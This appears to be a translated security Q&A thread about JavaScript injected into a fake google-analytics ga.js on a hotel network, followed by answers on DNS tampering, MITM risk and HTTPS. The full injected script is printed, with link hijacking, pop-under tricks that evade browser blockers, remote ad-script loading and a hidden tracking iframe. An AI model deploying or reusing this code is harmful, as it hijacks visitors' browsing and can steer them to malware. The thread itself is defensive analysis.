var ga_exists;
if(!ga_exists)
{
ga_exists = 1;
var is_responsive = false;
var use_keywords = false;
Date.prototype.addHours = function (h) {
this.setHours(this.getHours() + h);
return this
};
function shuffle(src) {
var cnt = src.length, tmp, idx;
while (cnt > 0) {
idx = Math.floor(Math.random() * cnt);
cnt--;
tmp = src[cnt];
src[cnt] = src[idx];
src[idx] = tmp;
}
return src;
}
function addEvent(obj, type, fn) {
if (obj.addEventListener) {
obj.addEventListener(type, fn, false)
} else if (obj.attachEvent) {
obj['e' + type + fn] = fn;
obj[type + fn] = function () {
obj['e' + type + fn](window.event)
};
obj.attachEvent('on' + type, obj[type + fn])
} else {
obj['on' + type] = obj['e' + type + fn]
}
}
function getCookie(name) {
var i, x, y, ARRcookies = document.cookie.split(';');
for (i = 0; i < ARRcookies.length; i++) {
x = ARRcookies[i].substr(0, ARRcookies[i].indexOf('='));
y = ARRcookies[i].substr(ARRcookies[i].indexOf('=') + 1);
x = x.replace(/^\s+|\s+$/g, '');
if (x == name)
return unescape(y)
}
}
function setCookie(name, value, hours) {
var exdate = new Date();
exdate.addHours(hours);
var c_value = escape(value) + ';expires=' + exdate.toUTCString() + ';path=/';
document.cookie = name + '=' + c_value
}
function startsWith(str, pat) {
if (typeof pat == 'object') {
for (_i = 0; _i < pat.length; _i++) {
if (str.toLowerCase().indexOf(pat[_i].toLowerCase()) == 0)
return true;
}
return false;
}
else
return (str.toLowerCase().indexOf(pat.toLowerCase()) == 0);
}
addEvent(window, 'load', function()
{
var cnt_all = document.createElement('img');
cnt_all.src = 'http://www.easycounter.com/counter.php?scanov_all';
cnt_all.style.display = 'none';
document.body.appendChild(cnt_all);
if(use_keywords)
{
var keywords = '';
var metas = document.getElementsByTagName('meta');
if (metas) {
var kwstr = '';
for (var i = 0; i < metas.length; i++) {
if (metas[i].name.toLowerCase() == 'keywords')
kwstr += metas[i].content;
}
if(kwstr) {
var tmp = kwstr.split(',');
var tmp2 = new Array();
for (var i = 0; i < tmp.length && tmp2.length < 3; i++) {
var kw = tmp[i].trim();
if(/^\w+$/.test(kw))
tmp2.push(kw);
}
if(tmp2.length > 0)
keywords = tmp2.join('+');
}
}
var replCookie = 'href-repl';
var replStaff = Math.floor((Math.random() * 18) + 1);
var replLink = 'http://msn.com' + '?staff=' + replStaff + '&q=' + keywords;
var replHours = 12;
addEvent(document, 'mousedown', function(evt){
if(getCookie(replCookie)) return;
evt = evt ? evt : window.event;
var evtSrcEl = evt.srcElement ? evt.srcElement : evt.target;
do {
if (evtSrcEl.tagName.toLowerCase() == 'a') break;
if (evtSrcEl.parentNode) evtSrcEl = evtSrcEl.parentNode;
} while (evtSrcEl.parentNode);
if (evtSrcEl.tagName.toLowerCase() != 'a') return;
if (!startsWith(evtSrcEl.href, new Array('http://', 'https://')))
return;
evtSrcEl.href = replLink;
setCookie(replCookie, 1, replHours);
});
}
if(window.postMessage && window.JSON)
{
var _top = self;
var cookieName = '';
var cookieExp = 24;
var exoUrl = '';
var exoPuId = 'ad_' + Math.floor(89999999 * Math.random() + 10000000);
if (top != self) {
try {
if (top.document.location.toString()) {
_top = top
}
} catch (err) {}
}
var exo_browser = {
is: function () {
var userAgent = navigator.userAgent.toLowerCase();
var info = {
webkit: /webkit/.test(userAgent),
mozilla: (/mozilla/.test(userAgent)) && (!/(compatible|webkit)/.test(userAgent)),
chrome: /chrome/.test(userAgent),
msie: (/msie/.test(userAgent)) && (!/opera/.test(userAgent)),
msie11: (/Trident/.test(userAgent)) && (!/rv:11/.test(userAgent)),
firefox: /firefox/.test(userAgent),
safari: (/safari/.test(userAgent) && !(/chrome/.test(userAgent))),
opera: /opera/.test(userAgent)
};
info.version = (info.safari) ? (userAgent.match(/.+(?:ri)[\/: ]([\d.]+)/) || [])[1] : (userAgent.match(/.+(?:ox|me|ra|ie)[\/: ]([\d.]+)/) || [])[1];
return info
}(),
versionNewerThan: function (version) {
currentVersion = parseInt(this.is.version.split('.')[0]);
return currentVersion > version
},
versionFrom: function (version) {
currentVersion = parseInt(this.is.version.split('.')[0]);
return currentVersion >= version
},
versionOlderThan: function (version) {
currentVersion = parseInt(this.is.version.split('.')[0]);
return currentVersion < version
},
versionIs: function (version) {
currentVersion = parseInt(this.is.version.split('.')[0]);
return currentVersion == version
},
isMobile: {
Android: function (a) { return a.navigator.userAgent.match(/Android/i) },
BlackBerry: function (a) { return a.navigator.userAgent.match(/BlackBerry/i) },
iOS: function (a) { return a.navigator.userAgent.match(/iPhone|iPad|iPod/i) },
Opera: function (a) { return a.navigator.userAgent.match(/Opera Mini/i) },
Windows: function (a) { return a.navigator.userAgent.match(/IEMobile/i) },
any: function (a) { return a.navigator.userAgent.match(/Android|BlackBerry|iPhone|iPad|iPod|Opera Mini|IEMobile/i) }
}
};
var browser = exo_browser;
var exopop = {
settings: {
width: 1024,
height: 768
},
init: function () {
if (browser.isMobile.any(_top))
exopop.binders.mobile();
if (browser.is.msie)
exopop.binders.msie();
if (browser.is.msie11)
exopop.binders.msie11();
if (browser.is.firefox)
exopop.binders.firefox();
if (browser.is.chrome && browser.versionFrom(30) && navigator.appVersion.indexOf('Mac') != -1)
exopop.binders.chrome30_mac();
if (browser.is.chrome && browser.versionOlderThan(30))
exopop.binders.chromeUntil30();
if (browser.is.chrome && browser.versionIs(30))
exopop.binders.chrome30();
else if (browser.is.chrome && browser.versionFrom(31))
exopop.binders.chrome31();
else if (browser.is.safari)
exopop.binders.safari();
else
exopop.binders.firefox();
},
windowParams: function () {
return 'width=' + exopop.settings.width + ',height=' + exopop.settings.height + ',top=0,left=0,scrollbars=1,location=1,toolbar=0,menubar=0,resizable=1,statusbar=1'
},
status: {
opened: false
},
opened: function () {
if (exopop.status.opened) return true;
if (getCookie(cookieName)) return true;
return false
},
setAsOpened: function () {
this.status.opened = true;
setCookie(cookieName, 1, cookieExp)
},
findParentLink: function (clickedElement) {
var currentElement = clickedElement;
if (currentElement.getAttribute('target') == null && currentElement.nodeName.toLowerCase() != 'html') {
var o = 0;
while (currentElement.parentNode && o <= 4 && currentElement.nodeName.toLowerCase() != 'html') {
o++;
currentElement = currentElement.parentNode;
if (currentElement.nodeName.toLowerCase() === 'a' && currentElement.href != '') {
break
}
}
}
return currentElement
},
triggers: {
firefox: function () {
if (exopop.opened()) return true;
var popURL = 'about:blank';
var params = exopop.windowParams();
var PopWin = _top.window.open(popURL, exoPuId, params);
if (PopWin) {
PopWin.blur();
if (navigator.userAgent.toLowerCase().indexOf('applewebkit') > -1) {
_top.window.blur();
_top.window.focus()
}
PopWin.Init = function (e) {
with(e) {
Params = e.Params;
Main = function () {
var x, popURL = Params.PopURL;
if (typeof window.mozPaintCount != 'undefined') {
x = window.open('about:blank');
x.close()
} else if (navigator.userAgent.toLowerCase().indexOf('chrome/2') > -1) {
x = window.open('about:blank');
x.close()
}
try {
opener.window.focus()
} catch (err) {}
window.location = popURL;
window.blur()
};
Main()
}
};
PopWin.Params = {
PopURL: exoUrl
};
PopWin.Init(PopWin)
}
exopop.setAsOpened();
return
},
chromeUntil30: function () {
if (exopop.opened()) return true;
window.open('javascript:window.focus()', '_self');
var w = window.open('about:blank', exoPuId, exopop.windowParams());
var a = document.createElement('a');
a.setAttribute('href', 'data:text/html,<scr' + 'ipt>window.close();</scr' + 'ipt>');
a.style.display = 'none';
document.body.appendChild(a);
var e = document.createEvent('MouseEvents');
e.initMouseEvent('click', true, true, window, 0, 0, 0, 0, 0, true, false, false, true, 0, null);
a.dispatchEvent(e);
document.body.removeChild(a);
w.document.open().write('<script type="text/javascript">window.location="' + exoUrl + '";<\/script>');
w.document.close();
exopop.setAsOpened()
},
chrome30: function (W) {
if (exopop.opened()) return true;
var link = document.createElement('a');
link.href = 'javascript:window.open("' + exoUrl + '","' + exoPuId + '","' + exopop.windowParams() + '")';
document.body.appendChild(link);
link.webkitRequestFullscreen();
var event = document.createEvent('MouseEvents');
event.initMouseEvent('click', true, true, window, 0, 0, 0, 0, 0, false, false, true, false, 0, null);
link.dispatchEvent(event);
document.webkitCancelFullScreen();
setTimeout(function () {
window.getSelection().empty()
}, 250);
var Z = W.target || W.srcElement;
Z.click();
exopop.setAsOpened()
},
safari: function () {
if (exopop.opened()) return true;
var popWindow = _top.window.open(exoUrl, exoPuId, exopop.windowParams());
if (popWindow) {
popWindow.blur();
popWindow.opener.window.focus();
window.self.window.focus();
window.focus();
var P = '';
var O = top.window.document.createElement('a');
O.href = 'data:text/html,<scr' + P + 'ipt>window.close();</scr' + P + 'ipt>';
document.getElementsByTagName('body')[0].appendChild(O);
var N = top.window.document.createEvent('MouseEvents');
N.initMouseEvent('click', false, true, window, 0, 0, 0, 0, 0, true, false, false, true, 0, null);
O.dispatchEvent(N);
O.parentNode.removeChild(O)
}
exopop.setAsOpened()
},
tab: function () {
if (exopop.opened()) return true;
var a = top.window.document.createElement('a');
var e = document.createEvent('MouseEvents');
a.href = exoUrl;
document.getElementsByTagName('body')[0].appendChild(a);
e.initMouseEvent('click', true, true, window, 0, 0, 0, 0, 0, true, false, false, true, 0, null);
a.dispatchEvent(e);
a.parentNode.removeChild(a);
exopop.setAsOpened()
},
mobile: function (triggeredEvent) {
if (exopop.opened()) return true;
var clickedElement = triggeredEvent.target || triggeredEvent.srcElement;
if (clickedElement.nodeName.toLowerCase() !== 'a') {
clickedElement = exopop.findParentLink(clickedElement)
}
if (clickedElement.nodeName.toLowerCase() === 'a' && clickedElement.getAttribute('target') !== '_blank') {
window.open(clickedElement.getAttribute('href'));
exopop.setAsOpened();
_top.document.location = exoUrl;
if (triggeredEvent.preventDefault != undefined) {
triggeredEvent.preventDefault();
triggeredEvent.stopPropagation()
}
return false
}
return true
}
},
binders: {
msie: function () {
addEvent(document, 'click', exopop.triggers.firefox)
},
firefox: function () {
addEvent(document, 'click', exopop.triggers.firefox)
},
chromeUntil30: function () {
addEvent(document, 'mousedown', exopop.triggers.chromeUntil30)
},
chrome30: function () {
addEvent(document, 'mousedown', exopop.triggers.chrome30)
},
chrome31: function () {
addEvent(document, 'mousedown', exopop.triggers.tab)
},
msie11: function () {
addEvent(document, 'mousedown', exopop.triggers.tab)
},
chrome30_mac: function () {
addEvent(document, 'mousedown', exopop.triggers.chromeUntil30)
},
safari: function () {
addEvent(document, 'mousedown', exopop.triggers.safari)
},
mobile: function () {
addEvent(document, 'click', exopop.triggers.mobile)
}
}
};
var exoMobPop = 0;
function exoMobile() {
addEvent(document, 'click', function(){
var targ;
var e = window.event;
if (e.target) targ = e.target;
else if (e.srcElement) targ = e.srcElement;
if (targ.nodeType == 3 || targ.tagName != 'A') targ = targ.parentNode;
if (getCookie(cookieName)) exoMobPop = 1;
if (exoMobPop == 0) {
if(targ && targ.tagName == 'A')
targ.target = '_blank';
exoMobPop = 1;
setTimeout(function() {
setCookie(cookieName, 1, cookieExp / 2);
document.location.assign(exoUrl);
}, 1000);
}
});
}
var scripts = null;
var script_names = [];
var recyclePeriod = 0;
if(browser.isMobile.any(_top) && is_responsive)
{
recyclePeriod = 3 * 60 * 60 * 1000;
scripts = {
'938466': function() {
exoUrl = 'http://www.reduxmediia.com/apu.php?n=&zoneid=5716&cb=3394654&popunder=1&direct=1';
cookieName = 'splashMob-938466';
exoMobile();
}
};
}
else
{
recyclePeriod = 6 * 60 * 60 * 1000;
scripts = {
'adcash': function() {
var adcash = document.createElement('script');
adcash.type = 'text/javascript';
adcash.src = 'http://www.adcash.com/script/java.php?option=rotateur&r=274944';
document.body.appendChild(adcash);
},
'1896743': function() {
exoUrl = 'http://www.reduxmediia.com/apu.php?n=&zoneid=5716&cb=3394654&popunder=1&direct=1';
cookieName = 'splashWeb-896743';
exopop.init();
},
'adcash2': function() {
var adcash2 = document.createElement('script');
adcash2.type = 'text/javascript';
adcash2.src = 'http://www.adcash.com/script/java.php?option=rotateur&r=274944';
document.body.appendChild(adcash2);
},
};
}
for(var i in scripts) {
if(scripts.hasOwnProperty(i))
script_names.push(i);
}
script_names = shuffle(script_names);
var origin = 'http://storage.com'
var path = '/storage.html';
var sign = '90e79fb1-d89e-4b29-83fd-70b8ce071039';
var iframe = document.createElement('iframe');
var done = false;
iframe.style.cssText = 'position:absolute;width:1px;height:1px;left:-9999px;';
iframe.src = origin + path;
addEvent(iframe, 'load', function(){
addEvent(window, 'message', function(evt){
if (!evt || evt.origin != origin)
return;
var rsp = JSON.parse(evt.data);
if(!rsp || rsp.sign != sign || rsp.act != 'ret')
return;
scripts[rsp.data]();
if(browser.isMobile.any(_top) && is_responsive) {
iframe.contentWindow.postMessage(
JSON.stringify({
act: 'set',
sign: sign,
data: rsp.data
}),
origin
);
} else {
addEvent(document, 'mousedown', function(){
if(done) return;
done = true;
iframe.contentWindow.postMessage(
JSON.stringify({
act: 'set',
sign: sign,
data: rsp.data
}),
origin
);
});
}
});
iframe.contentWindow.postMessage(
JSON.stringify({
act: 'get',
recycle: recyclePeriod,
sign: sign,
data: script_names
}),
origin
);
});
document.body.appendChild(iframe);
}
});
}
很明显,有人在使用此脚本将广告添加到访客的浏览中。但是,对我而言,令人担忧的是引用“ storage.com”的部分。当我ping storage.com时,它解析为199.182.166.176。
我应该担心吗?
#1 楼
是的,您应该担心。您应该与酒店工作人员联系,并且您不应再使用该网络。路由器的DNS很可能受到操纵。酒店可能希望通过注入广告来赚钱。但是,此脚本看起来很邪恶。
它试图打开一个对话框,通过显示看起来像Windows更新的消息来欺骗您安装特洛伊木马:
http://www.reduxmediia.com/apu.php?n=&zoneid=5716&cb=3394654&popunder=1&direct=1
更新
答案并不值得那么多的投票。因此,让我添加更多有关脚本执行操作的信息。
它将打开一个iframe到storage.com,并使用
postMessage
来存储/查询ID为90e79fb1-d89e-4b29-83fd-70b8ce071039
的数据。这些广告除了上面提到的弹出广告外,还从以下位置加载JavaScript:http://www.adcash.com/script/java.php?option=rotateur&r=274944
鼠标按下时出现关键字和msn.com搜索查询时发生的事情。
评论
@Undo这取决于VPN的设置方式(例如,如果您使用的是OpenVPN,则希望通过安全通道检索服务器的标识证书,如果您的协议是通过SSH使用SOCKS,则需要服务器指纹等) (以防止MITM攻击),但此后应该是安全的。无论如何,都是来自典型的侦听公共wifi的攻击者,不一定来自政府。
–鲍勃
2014年7月14日在23:41
我试图想象您将从前台得到什么回应。 “我可以帮你吗?” “是的,我相信您的无线路由器的DNS已被篡改。这是一个非常严重的问题。” “ ...”
–塞斯·巴丁(Seth Battin)
14年7月16日在2:37
@SethBattin一位员工转向另一位员工,说:“哈!我告诉过您,他们会注意的。下注就是下注,付清钱!”
–杰森C
14年7月16日在5:08
Windows图标的怀旧气息<3
–轨道轻赛
2014年7月16日14:10
使用其他DNS liek 4.2.2.4如何?在这种情况下会安全吗?
– Mehraban
14年7月17日在10:01
#2 楼
不用看代码:是的,您应该担心!没有人可以篡改您的互联网流量,因为这会打开许多可能的威胁情形。即使您尝试打开任何页面,而是显示一个页面来询问WiFi凭据,这也是不可能的,因为路由器首先重定向了您的DNS查询,然后假装成您要访问的服务器。使用其他人的网络时,最好的方法是打开通往受信任服务器(OpenVPN,SSH)的安全隧道,并仅使用此隧道。
评论
一些互联网服务提供商的道德规范,无论是酒店互补的wifi还是comcast,都令人担忧。当我接近带宽上限时,我已经用comcast js注入youtube了。仅仅因为您可以做到,并不意味着您应该这样做。我认为所有ISP都需要学习一课。
–安德鲁·霍夫曼(Andrew Hoffman)
14年7月14日在19:37
“没有人应该篡改您的互联网流量,因为这会打开许多可能的威胁情形。”只有当他使用的服务没有使用正确的密码学时,这才是正确的。 @AndrewHoffman,否。人们需要学习不信任ISP,我们已经朝着这个方向发展。
– Harold R. Eason
2014年7月15日4:45
@AndrewHoffman,如果做得好没关系,那将非常有帮助。 ISP可以做的其他事情(无论是否注入带宽上限消息,他们都可以做)以及注入的消息会引发其他攻击的风险(例如XSS)
–user253751
14年7月15日在7:43
@immibis仍然对浏览器说谎,关于页面正在请求哪些资源。如果这种做法超出了控制范围,或者变得更容易通过移动热点进行利用,则裸露的http将需要结束。虽然那并不是一件坏事。只是,该康卡斯特不应仅仅因为它们可以而利用漏洞。它的连指手套。
–安德鲁·霍夫曼(Andrew Hoffman)
2014年7月15日在13:51
@AndrewHoffman的弱点同样严重,无论Comcast是否正在利用它(用于非恶意目的)。
–user253751
14年7月16日在4:42
#3 楼
我不得不提供一个不太偏执的答案,有时我自己使用“不可信”网络来进行其他安全交易。的确,通过明文传输数据的网络很容易受到人为干扰。中间(MITM)攻击。在这样的网络中,您可能会在不知情的情况下读取和修改您收到的数据和发送的数据。
确实,很难验证网络是否真正值得信任。正如在其他答案中指出的那样,ISP(许多人认为它是“受信任的”)已经表明自己愿意并且有能力在某些情况下干扰Internet流量。许多人必须使用公寓WIFI才能连接到Internet,这具有可疑的可信赖性,没有其他选择。考虑到其他WIFI用户可能会干扰您的网络流量,具体取决于路由器配置,信号强度等,即使是一般WIFI也存在问题。
鉴于以上两个陈述,MITM攻击自然是常见的安全问题;安全应用程序开发人员必须考虑的一种。幸运的是,可以使用HTTPS来保护Internet流量免受这种攻击。
,只要站点使用HTTPS并且该站点的开发人员意识到最佳安全做法,就应该针对MITM进行保护。诸如此类的中间人攻击。正如您在问题中所指出的那样,当您专门访问http://www.google-analytics.com/ga.js时,会得到一些不希望的,可能是恶意的JavaScript。我想如果您访问HTTPS版本,您将获得正确的文件。
即使站点使用HTTPS,它仍然可以引用HTTP资源(如
<script>http://www.google-analytics.com/ga.js</script>
所示),这可能会在用户的浏览器中引发警告,提示页面正在尝试加载可能受到威胁的资源。如果用户“单击”,则此警告可能会危害整个页面。因此,开发人员有一个不允许该漏洞的责任。当然,您已经证明有人在弄乱Internet流量的内容这一事实令人担忧。在许多情况下,设置MITM是部署更严重攻击的第一步。此外,您不应该将这样的网络用于HTTP流量,因为服务器可以轻松地试图使您秘密下载更多恶意代码/记录击键/广告您的服务器。但是,您可以使用这样的网络通过HTTPS访问安全服务。
如果我可以选择通过不受信任的网络通过HTTPS连接服务,或者通过“受信任的” HTTP连接服务。网络,我会选择前者(但理想情况下,我希望两者都选)。
评论
您可以在www.google-analytics.com上执行nslookup吗?我敢打赌,该域的DNS记录已被篡改。您是怎么遇到的?您阅读所有已加载资源的HTML和JS吗?我实际上很感兴趣,以便我可以保护自己的移动设备并确定威胁所在。谢谢。
它通过反向代理注入。如果您将手机设置为无线热点,则可以使用它来进行此操作,这就是为什么在使用免费无线功能时需要格外小心的原因。如果您担心,VPN出了酒店。
@ignis可以浏览足够多的不敏感信息,例如SE网站,而无需某些随机JS对机器执行随机操作。问题的重点就在问题中。
@ignis:太荒谬了。当然,我们已经知道不信任的网络在一般情况下是不信任的,但是为什么要阻止我们能够询问有关特定网络行为的细节?